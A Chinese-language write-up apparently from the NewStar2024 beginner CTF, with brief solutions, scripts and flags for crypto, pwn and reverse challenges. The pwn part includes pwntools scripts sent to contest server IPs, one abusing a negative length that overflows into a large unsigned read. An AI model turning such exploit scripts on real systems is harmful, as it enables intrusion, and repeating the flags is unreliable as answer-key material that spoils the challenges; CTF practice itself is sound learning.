[NewStar2024]

新生赛，啊。第一周没啥过于入门了，大多数题没作也没提交。

Crypto

xor

俩值异或

base

hex-base32-base64

一眼秒了

p,q相邻开根号next求p

King

变形caeser很少见，先转小写处理最后再手搓回大小写

a = b'ecxvpdersvcdgdgezxqjql'
for j in range(26):print(j)bytes([97+(a[i]-97-j-2*i)%26 for i in range(len(a))])
#pleasedonotstoplearing
flag{PleaseDoNotStopLearing}

PWN

real_login

输入密码，NewStar!!!

game

输入100次10钱就够了

overwrite

输入负数转无符号时溢出

from pwn import *
context(arch='amd64', log_level='debug')p = remote('39.106.48.123', 25432)
#在本地不成功,远程环境就行,为啥?
p.sendlineafter(b"pls input the length you want to readin: ", str(0x800000f0).encode())
p.sendafter(b"pls input want you want to say: ", b'2'*0x36+b'\x00')
p.interactive() 

gdb

先跟进去看看s是啥就行了

from pwn import *
context(arch='amd64', log_level='debug')
p = remote('101.200.139.65', 25408)
p.sendlineafter(b"Input your encrypted data: ",b'\x5d\x1d\x43\x55\x53\x45\x57\x45\x00')
p.interactive()

Rev

begin

找啊找

base

变表base64

码表'WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/'
密文"g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc="
flag{y0u_kn0w_base64_well}

ezAndriodStudy

找啊找，还好有提示

simple_encryption

叫分段函数呗，模3得0，1，2分别加密

a = bytes.fromhex('47953448A41C358864168807146A3912A20A375C075A5660127625128E28')
a = list(a)
b = []
for i in range(len(a)):if i%3 == 0:b.append(a[i]+31)elif i%3 == 1:b.append(a[i]-41)else:b.append(a[i]^0x55)bytes(b)
#flag{IT_15_R3Al1y_V3Ry-51Mp1e}

debug

>>> a = b"0/$9-:u+\t\"7m\t$u12\x1c\x05\x01\x12&'+o>"
>>> len(a)
26
>>> from pwn import *
>>> key = b'ATRI'
>>> bytes([i^0x17 for i in xor(a,key)])
b'flag{y0u_ar3_g0od_@_Debu9}'